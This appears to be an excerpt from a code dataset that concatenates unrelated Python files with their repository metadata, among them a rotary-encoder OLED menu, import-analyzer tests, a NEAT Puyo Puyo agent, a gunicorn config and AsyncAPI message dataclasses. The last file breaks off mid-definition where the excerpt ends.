from PIL import Image from PIL import ImageDraw from PIL import ImageFont from rotary_class import RotaryEncoder class Display(): def __init__(self, disp): self.disp = disp self.dimensions = (disp.width, disp.height) self.image = Image.new('1', self.dimensions) self.draw = ImageDraw.Draw(self.image) self.font = ImageFont.truetype("./DejaVuSansMono.ttf", 10) def display_clear(self): self.draw.rectangle((0, 0) + self.dimensions, outline = 0, fill = 0) def init_display(self): self.disp.begin() self.disp.clear() self.disp.display() self.display_clear() self.disp.image(self.image) self.disp.display() def draw_rows(self, rows, inv_col): self.display_clear() for idx, row in enumerate(rows): if inv_col == idx: self.draw.rectangle([(0, 10 * idx), (10 * idx + self.dimensions[0], 1 + 10 * idx + 10)], outline = 0, fill = 255) self.draw.text((1, 10 * idx), row, font = self.font, fill = 0) else: self.draw.rectangle([(0, 10 * idx), (10 * idx + self.dimensions[0], 1 + 10 * idx + 10)], outline = 0, fill = 0) self.draw.text((1, 10 * idx), row, font = self.font, fill = 255) self.disp.image(self.image) self.disp.display() class Menu(): def __init__(self, disp, encoder, items = []): self.items = items self.pointer = 0 self.row = 0 self.last_row = 0 self.last_slice = None self.disp = Display(disp) self.disp.init_display() self.draw() def encoder_ev (direction): if direction == 1: self.prev() elif direction == 2: self.next() elif direction == 3: self.exec_item() self.encoder = RotaryEncoder(encoder["pin1"], encoder["pin2"], encoder["sw"], encoder_ev) def draw(self): tmp_slice = None if self.row == self.last_row: if self.last_row == 0: tmp_slice = self.items[self.pointer:self.pointer + 3] else: tmp_slice = self.items[self.pointer - 2:self.pointer + 1] self.disp.draw_rows(tmp_slice, self.row) self.last_slice = tmp_slice else: self.disp.draw_rows(self.last_slice, self.row) self.last_row = self.row def next(self): if self.pointer + 1 <= len(self.items) - 1: self.pointer += 1 if self.row < 2: self.row += 1 self.draw() def prev(self): if self.pointer - 1 >= 0: self.pointer -= 1 if self.row > 0: self.row -= 1 self.draw() def exec_item(self): print("Item selcted", str(self.pointer))

32

129

0.542837

from PIL import Image from PIL import ImageDraw from PIL import ImageFont from rotary_class import RotaryEncoder class Display(): def __init__(self, disp): self.disp = disp self.dimensions = (disp.width, disp.height) self.image = Image.new('1', self.dimensions) self.draw = ImageDraw.Draw(self.image) self.font = ImageFont.truetype("./DejaVuSansMono.ttf", 10) def display_clear(self): self.draw.rectangle((0, 0) + self.dimensions, outline = 0, fill = 0) def init_display(self): self.disp.begin() self.disp.clear() self.disp.display() self.display_clear() self.disp.image(self.image) self.disp.display() def draw_rows(self, rows, inv_col): self.display_clear() for idx, row in enumerate(rows): if inv_col == idx: self.draw.rectangle([(0, 10 * idx), (10 * idx + self.dimensions[0], 1 + 10 * idx + 10)], outline = 0, fill = 255) self.draw.text((1, 10 * idx), row, font = self.font, fill = 0) else: self.draw.rectangle([(0, 10 * idx), (10 * idx + self.dimensions[0], 1 + 10 * idx + 10)], outline = 0, fill = 0) self.draw.text((1, 10 * idx), row, font = self.font, fill = 255) self.disp.image(self.image) self.disp.display() class Menu(): def __init__(self, disp, encoder, items = []): self.items = items self.pointer = 0 self.row = 0 self.last_row = 0 self.last_slice = None self.disp = Display(disp) self.disp.init_display() self.draw() def encoder_ev (direction): if direction == 1: self.prev() elif direction == 2: self.next() elif direction == 3: self.exec_item() self.encoder = RotaryEncoder(encoder["pin1"], encoder["pin2"], encoder["sw"], encoder_ev) def draw(self): tmp_slice = None if self.row == self.last_row: if self.last_row == 0: tmp_slice = self.items[self.pointer:self.pointer + 3] else: tmp_slice = self.items[self.pointer - 2:self.pointer + 1] self.disp.draw_rows(tmp_slice, self.row) self.last_slice = tmp_slice else: self.disp.draw_rows(self.last_slice, self.row) self.last_row = self.row def next(self): if self.pointer + 1 <= len(self.items) - 1: self.pointer += 1 if self.row < 2: self.row += 1 self.draw() def prev(self): if self.pointer - 1 >= 0: self.pointer -= 1 if self.row > 0: self.row -= 1 self.draw() def exec_item(self): print("Item selcted", str(self.pointer))

true

f7016dd197dc84aeab737877e938c7ecfc8970b5

5,276

py

Python

tests/analyzer/test_as_import.py

CAM-Gerlach/unimport

acaebf547274a95a33816e47ec22bb73d8456b17

[ "MIT" ]

147

2019-09-19T15:43:06.000Z

2022-03-25T16:42:08.000Z

tests/analyzer/test_as_import.py

CAM-Gerlach/unimport

acaebf547274a95a33816e47ec22bb73d8456b17

[ "MIT" ]

154

2019-10-31T19:50:18.000Z

2022-03-29T12:43:00.000Z

tests/analyzer/test_as_import.py

CAM-Gerlach/unimport

acaebf547274a95a33816e47ec22bb73d8456b17

[ "MIT" ]

28

2019-10-31T18:11:13.000Z

2021-09-06T08:24:14.000Z

from tests.analyzer.utils import UnusedTestCase from unimport.statement import Import, ImportFrom class AsImportTestCase(UnusedTestCase): def test_as_import_all_unused_all_cases(self): self.assertSourceAfterScanningEqualToExpected( """\ from x import y as z import x from t import s as ss from f import a as c, l as k, i as ii from fo import (bar, i, x as z) import le as x """, [ ImportFrom( lineno=1, column=1, name="z", package="x", star=False, suggestions=[], ), Import( lineno=2, column=1, name="x", package="x", ), ImportFrom( lineno=3, column=1, name="ss", package="t", star=False, suggestions=[], ), ImportFrom( lineno=4, column=1, name="c", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=2, name="k", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=3, name="ii", package="f", star=False, suggestions=[], ), ImportFrom( lineno=5, column=1, name="bar", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=2, name="i", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=3, name="z", package="fo", star=False, suggestions=[], ), Import( lineno=6, column=1, name="x", package="le", ), ], ) def test_as_import_one_used_in_function_all_cases(self): self.assertSourceAfterScanningEqualToExpected( """\ from x import y as z import x from t import s as ss from f import a as c, l as k, i as ii from fo import (bar, i, x as z) import le as x def x(t=x):pass """, [ ImportFrom( lineno=1, column=1, name="z", package="x", star=False, suggestions=[], ), Import( lineno=2, column=1, name="x", package="x", ), ImportFrom( lineno=3, column=1, name="ss", package="t", star=False, suggestions=[], ), ImportFrom( lineno=4, column=1, name="c", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=2, name="k", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=3, name="ii", package="f", star=False, suggestions=[], ), ImportFrom( lineno=5, column=1, name="bar", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=2, name="i", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=3, name="z", package="fo", star=False, suggestions=[], ), ], )

29.311111

60

0.288855

from tests.analyzer.utils import UnusedTestCase from unimport.statement import Import, ImportFrom class AsImportTestCase(UnusedTestCase): def test_as_import_all_unused_all_cases(self): self.assertSourceAfterScanningEqualToExpected( """\ from x import y as z import x from t import s as ss from f import a as c, l as k, i as ii from fo import (bar, i, x as z) import le as x """, [ ImportFrom( lineno=1, column=1, name="z", package="x", star=False, suggestions=[], ), Import( lineno=2, column=1, name="x", package="x", ), ImportFrom( lineno=3, column=1, name="ss", package="t", star=False, suggestions=[], ), ImportFrom( lineno=4, column=1, name="c", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=2, name="k", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=3, name="ii", package="f", star=False, suggestions=[], ), ImportFrom( lineno=5, column=1, name="bar", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=2, name="i", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=3, name="z", package="fo", star=False, suggestions=[], ), Import( lineno=6, column=1, name="x", package="le", ), ], ) def test_as_import_one_used_in_function_all_cases(self): self.assertSourceAfterScanningEqualToExpected( """\ from x import y as z import x from t import s as ss from f import a as c, l as k, i as ii from fo import (bar, i, x as z) import le as x def x(t=x):pass """, [ ImportFrom( lineno=1, column=1, name="z", package="x", star=False, suggestions=[], ), Import( lineno=2, column=1, name="x", package="x", ), ImportFrom( lineno=3, column=1, name="ss", package="t", star=False, suggestions=[], ), ImportFrom( lineno=4, column=1, name="c", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=2, name="k", package="f", star=False, suggestions=[], ), ImportFrom( lineno=4, column=3, name="ii", package="f", star=False, suggestions=[], ), ImportFrom( lineno=5, column=1, name="bar", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=2, name="i", package="fo", star=False, suggestions=[], ), ImportFrom( lineno=5, column=3, name="z", package="fo", star=False, suggestions=[], ), ], )

true

f7016f34f904942762b689e2683eb61c1e3e3a29

2,470

py

Python

modules/Google_Takeout/modules/utils/takeout_case.py

dfrc-korea/carpe

9afa8b624948fd462bb19c90cbc811228fd52c21

[ "Apache-2.0" ]

56

2019-02-07T06:21:45.000Z

2022-03-21T08:19:24.000Z

modules/Google_Takeout/modules/utils/takeout_case.py

dfrc-korea/carpe

9afa8b624948fd462bb19c90cbc811228fd52c21

[ "Apache-2.0" ]

5

2020-05-25T17:29:00.000Z

2021-12-13T20:49:08.000Z

modules/Google_Takeout/modules/utils/takeout_case.py

dfrc-korea/carpe

9afa8b624948fd462bb19c90cbc811228fd52c21

[ "Apache-2.0" ]

31

2019-03-13T10:23:49.000Z

2021-11-04T12:14:58.000Z

import os from .takeout_sqlite3 import SQLite3 import multiprocessing CONTACTS = 'Contacts' + os.sep + 'All Contacts' + os.sep + 'All Contacts.vcf' DRIVE = 'Drive' MY_ACTIVITY_ASSISTANT_PATH = 'My Activity' + os.sep + 'Assistant' + os.sep + 'MyActivity.html' MY_ACTIVITY_GMAIL_PATH = 'My Activity' + os.sep + 'Gmail' + os.sep + 'MyActivity.html' MY_ACTIVITY_GOOGLE_ANALYTICS_PATH = 'My Activity' + os.sep + 'Google Analytics' + os.sep + 'MyActivity.html' MY_ACTIVITY_YOUTUBE_PATH = 'My Activity' + os.sep + 'YouTube' + os.sep + 'MyActivity.html' MY_ACTIVITY_VIDEO_SEARCH_PATH = 'My Activity' + os.sep + 'Video Search' + os.sep + 'MyActivity.html' MY_ACTIVITY_VOICE_AUDIO_PATH = 'My Activity' + os.sep + 'Voice and Audio' + os.sep + 'MyActivity.html' MY_ACTIVITY_MAPS_PATH = 'My Activity' + os.sep + 'Maps' + os.sep + 'MyActivity.html' MY_ACTIVITY_ANDROID_PATH = 'My Activity' + os.sep + 'Android' + os.sep + 'MyActivity.html' MY_ACTIVITY_CHROME_PATH = 'My Activity' + os.sep + 'Chrome' + os.sep + 'MyActivity.html' class Case(object): def __init__(self, input_dir): self.number_of_system_processes = 1 self.number_of_input_processes = 1 self.input_dir_path = input_dir self.set_file_path() def set_file_path(self): if self.input_dir_path[-1] == os.sep: self.input_dir_path = self.input_dir_path[:-1] self.takeout_path = self.input_dir_path + os.sep + 'Takeout' if not os.path.exists(self.takeout_path): return False self.takeout_contacts_path = self.takeout_path + os.sep + CONTACTS self.takeout_drive_path = self.takeout_path + os.sep + DRIVE self.takeout_my_activity_assistant_path = self.takeout_path + os.sep + MY_ACTIVITY_ASSISTANT_PATH self.takeout_my_activity_gmail_path = self.takeout_path + os.sep + MY_ACTIVITY_GMAIL_PATH self.takeout_my_activity_google_analytics_path = self.takeout_path + os.sep + MY_ACTIVITY_GOOGLE_ANALYTICS_PATH self.takeout_my_activity_youtube_path = self.takeout_path + os.sep + MY_ACTIVITY_YOUTUBE_PATH self.takeout_my_activity_video_search_path = self.takeout_path + os.sep + MY_ACTIVITY_VIDEO_SEARCH_PATH self.takeout_my_activity_voice_audio_path = self.takeout_path + os.sep + MY_ACTIVITY_VOICE_AUDIO_PATH self.takeout_my_activity_maps_path = self.takeout_path + os.sep + MY_ACTIVITY_MAPS_PATH self.takeout_my_activity_android_path = self.takeout_path + os.sep + MY_ACTIVITY_ANDROID_PATH self.takeout_my_activity_chrome_path = self.takeout_path + os.sep + MY_ACTIVITY_CHROME_PATH

53.695652

113

0.773684

import os from .takeout_sqlite3 import SQLite3 import multiprocessing CONTACTS = 'Contacts' + os.sep + 'All Contacts' + os.sep + 'All Contacts.vcf' DRIVE = 'Drive' MY_ACTIVITY_ASSISTANT_PATH = 'My Activity' + os.sep + 'Assistant' + os.sep + 'MyActivity.html' MY_ACTIVITY_GMAIL_PATH = 'My Activity' + os.sep + 'Gmail' + os.sep + 'MyActivity.html' MY_ACTIVITY_GOOGLE_ANALYTICS_PATH = 'My Activity' + os.sep + 'Google Analytics' + os.sep + 'MyActivity.html' MY_ACTIVITY_YOUTUBE_PATH = 'My Activity' + os.sep + 'YouTube' + os.sep + 'MyActivity.html' MY_ACTIVITY_VIDEO_SEARCH_PATH = 'My Activity' + os.sep + 'Video Search' + os.sep + 'MyActivity.html' MY_ACTIVITY_VOICE_AUDIO_PATH = 'My Activity' + os.sep + 'Voice and Audio' + os.sep + 'MyActivity.html' MY_ACTIVITY_MAPS_PATH = 'My Activity' + os.sep + 'Maps' + os.sep + 'MyActivity.html' MY_ACTIVITY_ANDROID_PATH = 'My Activity' + os.sep + 'Android' + os.sep + 'MyActivity.html' MY_ACTIVITY_CHROME_PATH = 'My Activity' + os.sep + 'Chrome' + os.sep + 'MyActivity.html' class Case(object): def __init__(self, input_dir): self.number_of_system_processes = 1 self.number_of_input_processes = 1 self.input_dir_path = input_dir self.set_file_path() def set_file_path(self): if self.input_dir_path[-1] == os.sep: self.input_dir_path = self.input_dir_path[:-1] self.takeout_path = self.input_dir_path + os.sep + 'Takeout' if not os.path.exists(self.takeout_path): return False self.takeout_contacts_path = self.takeout_path + os.sep + CONTACTS self.takeout_drive_path = self.takeout_path + os.sep + DRIVE self.takeout_my_activity_assistant_path = self.takeout_path + os.sep + MY_ACTIVITY_ASSISTANT_PATH self.takeout_my_activity_gmail_path = self.takeout_path + os.sep + MY_ACTIVITY_GMAIL_PATH self.takeout_my_activity_google_analytics_path = self.takeout_path + os.sep + MY_ACTIVITY_GOOGLE_ANALYTICS_PATH self.takeout_my_activity_youtube_path = self.takeout_path + os.sep + MY_ACTIVITY_YOUTUBE_PATH self.takeout_my_activity_video_search_path = self.takeout_path + os.sep + MY_ACTIVITY_VIDEO_SEARCH_PATH self.takeout_my_activity_voice_audio_path = self.takeout_path + os.sep + MY_ACTIVITY_VOICE_AUDIO_PATH self.takeout_my_activity_maps_path = self.takeout_path + os.sep + MY_ACTIVITY_MAPS_PATH self.takeout_my_activity_android_path = self.takeout_path + os.sep + MY_ACTIVITY_ANDROID_PATH self.takeout_my_activity_chrome_path = self.takeout_path + os.sep + MY_ACTIVITY_CHROME_PATH

true

f7016f7ed1a12ccf8abe398fe979b5e78fb5499f

2,938

py

Python

gym_puyopuyo/test-feedforward-smallenv.py

brnor/dipl

db516610aecffb10825e899fb5aa9f2902093b6e

[ "MIT" ]

null

gym_puyopuyo/test-feedforward-smallenv.py

brnor/dipl

db516610aecffb10825e899fb5aa9f2902093b6e

[ "MIT" ]

null

gym_puyopuyo/test-feedforward-smallenv.py

brnor/dipl

db516610aecffb10825e899fb5aa9f2902093b6e

[ "MIT" ]

null

from __future__ import print_function import os import pickle import time from gym_puyopuyo import register import gym import numpy as np import neat import visualize piece_shape = (3, 2) DRAW_NETS = False NUM_COLORS = 3.0 # 3 colors in the small env mode # TODO: could probably read color number from observation data fn_results = "feedforward-small" def multiplyMatrices(pieces, field, norm = True): pieces = pieces.astype(np.float64) field = field.astype(np.float64) pieces_sum = np.zeros(piece_shape) field_sum = np.zeros(field[0].shape) for i in range(0, len(pieces)): pieces[i] = np.multiply(pieces[i], i + 1) if(norm): pieces[i] /= NUM_COLORS pieces_sum += pieces[i] for i in range(0, len(field)): field[i] = np.multiply(field[i], i + 1) if(norm): field[i] /= NUM_COLORS field_sum += field[i] return pieces_sum, field_sum def run(): with open("results/winner-pickle-"+fn_results, 'rb') as f: c = pickle.load(f) print('loaded genome:') print(c) local_dir = os.path.dirname(__file__) config_path = os.path.join(local_dir, 'config-feedforward-small') config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet, neat.DefaultStagnation, config_path) net = neat.nn.FeedForwardNetwork.create(c, config) register() env = gym.make("PuyoPuyoEndlessSmall-v2") done = False ob = env.reset() count = 0 total_reward = 0 while True: env.render() #input() time.sleep(0.5) pieces_sum, field_sum = multiplyMatrices(ob[0], ob[1]) next_piece = pieces_sum[0] inp_piece = np.ndarray.flatten(next_piece) inp_field = np.ndarray.flatten(field_sum) inputs = np.hstack([inp_piece, inp_field]) nn_output = net.activate(inputs) action = np.argmax(nn_output) #print(nn_output) #nn_output = int(round(nn_output[0] * NUM_ACTIONS)) #print(nn_output) #input() ob, rew, done, info = env.step(action) total_reward += rew count += 1 if done: break print("Game played for ", count, " turns.") print("Total score: ", total_reward) if DRAW_NETS: visualize.draw_net(config, c, view=True, filename="results/winner-"+fn_results+".net") visualize.draw_net(config, c, view=True, filename="results/winner-"+fn_results+"-enabled.net", show_disabled=False) visualize.draw_net(config, c, view=True, filename="results/winner-"+fn_results+"-pruned.net", show_disabled=False, prune_unused=True) if __name__ == '__main__': run()

28.803922

77

0.591559

from __future__ import print_function import os import pickle import time from gym_puyopuyo import register import gym import numpy as np import neat import visualize piece_shape = (3, 2) DRAW_NETS = False NUM_COLORS = 3.0 fn_results = "feedforward-small" def multiplyMatrices(pieces, field, norm = True): pieces = pieces.astype(np.float64) field = field.astype(np.float64) pieces_sum = np.zeros(piece_shape) field_sum = np.zeros(field[0].shape) for i in range(0, len(pieces)): pieces[i] = np.multiply(pieces[i], i + 1) if(norm): pieces[i] /= NUM_COLORS pieces_sum += pieces[i] for i in range(0, len(field)): field[i] = np.multiply(field[i], i + 1) if(norm): field[i] /= NUM_COLORS field_sum += field[i] return pieces_sum, field_sum def run(): with open("results/winner-pickle-"+fn_results, 'rb') as f: c = pickle.load(f) print('loaded genome:') print(c) local_dir = os.path.dirname(__file__) config_path = os.path.join(local_dir, 'config-feedforward-small') config = neat.Config(neat.DefaultGenome, neat.DefaultReproduction, neat.DefaultSpeciesSet, neat.DefaultStagnation, config_path) net = neat.nn.FeedForwardNetwork.create(c, config) register() env = gym.make("PuyoPuyoEndlessSmall-v2") done = False ob = env.reset() count = 0 total_reward = 0 while True: env.render() time.sleep(0.5) pieces_sum, field_sum = multiplyMatrices(ob[0], ob[1]) next_piece = pieces_sum[0] inp_piece = np.ndarray.flatten(next_piece) inp_field = np.ndarray.flatten(field_sum) inputs = np.hstack([inp_piece, inp_field]) nn_output = net.activate(inputs) action = np.argmax(nn_output) ob, rew, done, info = env.step(action) total_reward += rew count += 1 if done: break print("Game played for ", count, " turns.") print("Total score: ", total_reward) if DRAW_NETS: visualize.draw_net(config, c, view=True, filename="results/winner-"+fn_results+".net") visualize.draw_net(config, c, view=True, filename="results/winner-"+fn_results+"-enabled.net", show_disabled=False) visualize.draw_net(config, c, view=True, filename="results/winner-"+fn_results+"-pruned.net", show_disabled=False, prune_unused=True) if __name__ == '__main__': run()

true

f7016fdcb57fb610e943f783ffeb624675e41126

2,021

py

Python

app/dao/broadcast_message_dao.py

tlwr/notifications-api

88a6b7729edb9be41ce3e7c027f1452b7b6d00d2

[ "MIT" ]

null

app/dao/broadcast_message_dao.py

tlwr/notifications-api

88a6b7729edb9be41ce3e7c027f1452b7b6d00d2

[ "MIT" ]

null

app/dao/broadcast_message_dao.py

tlwr/notifications-api

88a6b7729edb9be41ce3e7c027f1452b7b6d00d2

[ "MIT" ]

null

import uuid from app import db from app.dao.dao_utils import transactional from app.models import ( BroadcastMessage, BroadcastEvent, BroadcastProvider, BroadcastProviderMessage, BroadcastProviderMessageNumber, BroadcastProviderMessageStatus ) def dao_get_broadcast_message_by_id_and_service_id(broadcast_message_id, service_id): return BroadcastMessage.query.filter( BroadcastMessage.id == broadcast_message_id, BroadcastMessage.service_id == service_id ).one() def dao_get_broadcast_event_by_id(broadcast_event_id): return BroadcastEvent.query.filter(BroadcastEvent.id == broadcast_event_id).one() def dao_get_broadcast_messages_for_service(service_id): return BroadcastMessage.query.filter( BroadcastMessage.service_id == service_id ).order_by(BroadcastMessage.created_at) def get_earlier_events_for_broadcast_event(broadcast_event_id): """ This is used to build up the references list. """ this_event = BroadcastEvent.query.get(broadcast_event_id) return BroadcastEvent.query.filter( BroadcastEvent.broadcast_message_id == this_event.broadcast_message_id, BroadcastEvent.sent_at < this_event.sent_at ).order_by( BroadcastEvent.sent_at.asc() ).all() @transactional def create_broadcast_provider_message(broadcast_event, provider): broadcast_provider_message_id = uuid.uuid4() provider_message = BroadcastProviderMessage( id=broadcast_provider_message_id, broadcast_event=broadcast_event, provider=provider, status=BroadcastProviderMessageStatus.SENDING, ) db.session.add(provider_message) db.session.commit() provider_message_number = None if provider == BroadcastProvider.VODAFONE: provider_message_number = BroadcastProviderMessageNumber( broadcast_provider_message_id=broadcast_provider_message_id) db.session.add(provider_message_number) db.session.commit() return provider_message

31.578125

85

0.764473

import uuid from app import db from app.dao.dao_utils import transactional from app.models import ( BroadcastMessage, BroadcastEvent, BroadcastProvider, BroadcastProviderMessage, BroadcastProviderMessageNumber, BroadcastProviderMessageStatus ) def dao_get_broadcast_message_by_id_and_service_id(broadcast_message_id, service_id): return BroadcastMessage.query.filter( BroadcastMessage.id == broadcast_message_id, BroadcastMessage.service_id == service_id ).one() def dao_get_broadcast_event_by_id(broadcast_event_id): return BroadcastEvent.query.filter(BroadcastEvent.id == broadcast_event_id).one() def dao_get_broadcast_messages_for_service(service_id): return BroadcastMessage.query.filter( BroadcastMessage.service_id == service_id ).order_by(BroadcastMessage.created_at) def get_earlier_events_for_broadcast_event(broadcast_event_id): this_event = BroadcastEvent.query.get(broadcast_event_id) return BroadcastEvent.query.filter( BroadcastEvent.broadcast_message_id == this_event.broadcast_message_id, BroadcastEvent.sent_at < this_event.sent_at ).order_by( BroadcastEvent.sent_at.asc() ).all() @transactional def create_broadcast_provider_message(broadcast_event, provider): broadcast_provider_message_id = uuid.uuid4() provider_message = BroadcastProviderMessage( id=broadcast_provider_message_id, broadcast_event=broadcast_event, provider=provider, status=BroadcastProviderMessageStatus.SENDING, ) db.session.add(provider_message) db.session.commit() provider_message_number = None if provider == BroadcastProvider.VODAFONE: provider_message_number = BroadcastProviderMessageNumber( broadcast_provider_message_id=broadcast_provider_message_id) db.session.add(provider_message_number) db.session.commit() return provider_message

true

f7016fe4e649e0defe4ee246bb7a91d3d39ef94e

1,706

py

Python

python/open3d/ml/torch/pipelines.py

xkaraman/Open3D

a1d65eca537a2b099fc3b6d08edb26e45b717e40

[ "MIT" ]

2

2020-12-08T15:38:34.000Z

2021-04-10T02:58:15.000Z

python/open3d/ml/torch/pipelines.py

moonwonlee/Open3D

dda9b3a0129fa6c60f913672a70ff02483dcd0f3

[ "MIT" ]

null

python/open3d/ml/torch/pipelines.py

moonwonlee/Open3D

dda9b3a0129fa6c60f913672a70ff02483dcd0f3

[ "MIT" ]

1

2021-11-05T01:16:13.000Z

# ---------------------------------------------------------------------------- # - Open3D: www.open3d.org - # ---------------------------------------------------------------------------- # The MIT License (MIT) # # Copyright (c) 2020 www.open3d.org # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # ---------------------------------------------------------------------------- """ 3D ML pipelines for PyTorch. """ import os as _os from open3d import _build_config if _build_config['BUNDLE_OPEN3D_ML']: if 'OPEN3D_ML_ROOT' in _os.environ: from ml3d.torch.pipelines import * else: from open3d._ml3d.torch.pipelines import *

44.894737

79

0.631301

import os as _os from open3d import _build_config if _build_config['BUNDLE_OPEN3D_ML']: if 'OPEN3D_ML_ROOT' in _os.environ: from ml3d.torch.pipelines import * else: from open3d._ml3d.torch.pipelines import *

true

f7016fee3d19733d380e1f4199f8769b9529e54f

722

py

Python

{{cookiecutter.project_name}}/core/deployment/gunicorn_conf.py

ProjectTemplates/django-webpack-app

50081d009162503042840a904e25c4b32d606cf5

[ "MIT" ]

2

2020-11-10T10:16:48.000Z

2021-02-05T13:21:11.000Z

{{cookiecutter.project_name}}/core/deployment/gunicorn_conf.py

ProjectTemplates/django-webpack-app

50081d009162503042840a904e25c4b32d606cf5

[ "MIT" ]

null

{{cookiecutter.project_name}}/core/deployment/gunicorn_conf.py

ProjectTemplates/django-webpack-app

50081d009162503042840a904e25c4b32d606cf5

[ "MIT" ]

1

2021-02-05T11:37:18.000Z

import os def to_bool(value): return ( value is True or (isinstance(value, str) and value.lower() in ['true', 'yes']) or (isinstance(value, (int, float)) and value > 0) ) bind = '0.0.0.0:{}'.format(os.getenv('GUNICORN_PORT', '8000')) max_requests = int(os.getenv('GUNICORN_MAX_REQUESTS', '10000')) max_requests_jitter = int(os.getenv('GUNICORN_MAX_REQUESTS_JITTER', '100')) user = os.getenv('GUNICORN_USER', 'root') keepalive = int(os.getenv('GUNICORN_KEEPALIVE', '70')) reuse_port = to_bool(os.getenv('GUNICORN_REUSE_PORT', True)) accesslog = '-' errorlog = '-' print_config = True workers = int(os.getenv('GUNICORN_WORKERS', '5')) threads = int(os.getenv('GUNICORN_THREADS', '5'))

27.769231

75

0.671745

import os def to_bool(value): return ( value is True or (isinstance(value, str) and value.lower() in ['true', 'yes']) or (isinstance(value, (int, float)) and value > 0) ) bind = '0.0.0.0:{}'.format(os.getenv('GUNICORN_PORT', '8000')) max_requests = int(os.getenv('GUNICORN_MAX_REQUESTS', '10000')) max_requests_jitter = int(os.getenv('GUNICORN_MAX_REQUESTS_JITTER', '100')) user = os.getenv('GUNICORN_USER', 'root') keepalive = int(os.getenv('GUNICORN_KEEPALIVE', '70')) reuse_port = to_bool(os.getenv('GUNICORN_REUSE_PORT', True)) accesslog = '-' errorlog = '-' print_config = True workers = int(os.getenv('GUNICORN_WORKERS', '5')) threads = int(os.getenv('GUNICORN_THREADS', '5'))

true

f701701a180004073de4f335fee9153105be7e42

584

py

Python

tests/test_pin_num_name.py

arjenroodselaar/skidl

0bf801bd3b74e6ef94bd9aa1b68eef756b568276

[ "MIT" ]

2

2022-02-27T14:31:52.000Z

2022-02-27T14:31:56.000Z

tests/test_pin_num_name.py

arjenroodselaar/skidl

0bf801bd3b74e6ef94bd9aa1b68eef756b568276

[ "MIT" ]

null

tests/test_pin_num_name.py

arjenroodselaar/skidl

0bf801bd3b74e6ef94bd9aa1b68eef756b568276

[ "MIT" ]

1

2020-09-21T23:31:41.000Z

import pytest from skidl import * from .setup_teardown import * def test_pin_names_1(): codec = Part("xess.lib", "ak4520a") assert codec["ain"] == codec.n["ain"] assert codec[1:4] == codec.p[1:4] def test_pin_names_2(): codec = Part("xess.lib", "ak4520a") codec[4].name = "A1" codec[8].name = "A2" codec[8].num = "A1" assert codec[4] is codec.n["A1"] assert codec.p[4] is codec.n["A1"] assert codec[4] is codec.p[4] assert codec.p["A1"] is codec.n["A2"] assert codec["A1"] is codec.n["A2"] assert codec["A1"] is codec.p["A1"]

23.36

41

0.599315

import pytest from skidl import * from .setup_teardown import * def test_pin_names_1(): codec = Part("xess.lib", "ak4520a") assert codec["ain"] == codec.n["ain"] assert codec[1:4] == codec.p[1:4] def test_pin_names_2(): codec = Part("xess.lib", "ak4520a") codec[4].name = "A1" codec[8].name = "A2" codec[8].num = "A1" assert codec[4] is codec.n["A1"] assert codec.p[4] is codec.n["A1"] assert codec[4] is codec.p[4] assert codec.p["A1"] is codec.n["A2"] assert codec["A1"] is codec.n["A2"] assert codec["A1"] is codec.p["A1"]

true

f701701fc0217b14ad2a52b62b79d747b1021bdd

5,395

py

Python

asynction/types.py

pedrohbtp/asynction

939f9b3fdf09f8bf89da9a8c5222234c07594d22

[ "MIT" ]

null

asynction/types.py

pedrohbtp/asynction

939f9b3fdf09f8bf89da9a8c5222234c07594d22

[ "MIT" ]

null

asynction/types.py

pedrohbtp/asynction

939f9b3fdf09f8bf89da9a8c5222234c07594d22

[ "MIT" ]

null

from dataclasses import dataclass from dataclasses import field from typing import Any from typing import Callable from typing import Mapping from typing import Optional from typing import Sequence from typing import Type from svarog import forge from svarog import register_forge from svarog.types import Forge JSONMappingValue = Any JSONMapping = Mapping[str, JSONMappingValue] JSONSchema = JSONMapping GLOBAL_NAMESPACE = "/" @dataclass class MessageAck: """The specification of a message acknowledgement""" args: JSONSchema @dataclass class Message: """ https://www.asyncapi.com/docs/specifications/2.0.0#messageObject The above message object is extended as follows: * `x-handler`: Allows the coupling of the message specification to an event handler (which is a python callable). It SHOULD only be used for messages under a `publish` operation. Deserialized to `x_handler`. * `x-ack`: The specification of the acknowledgement packet that the message receiver transmits to the message sender. The acknowledgement args are passed as an input to the callback of the `emit`/`send` function. Deserialized to `x_ack`. The extentions are implemented as per: https://www.asyncapi.com/docs/specifications/2.0.0#specificationExtensions """ name: str payload: Optional[JSONSchema] = None x_handler: Optional[str] = None x_ack: Optional[MessageAck] = None @staticmethod def forge(type_: Type["Message"], data: JSONMapping, forge: Forge) -> "Message": return type_( name=forge(type_.__annotations__["name"], data["name"]), payload=forge(type_.__annotations__["payload"], data.get("payload")), x_handler=forge(type_.__annotations__["x_handler"], 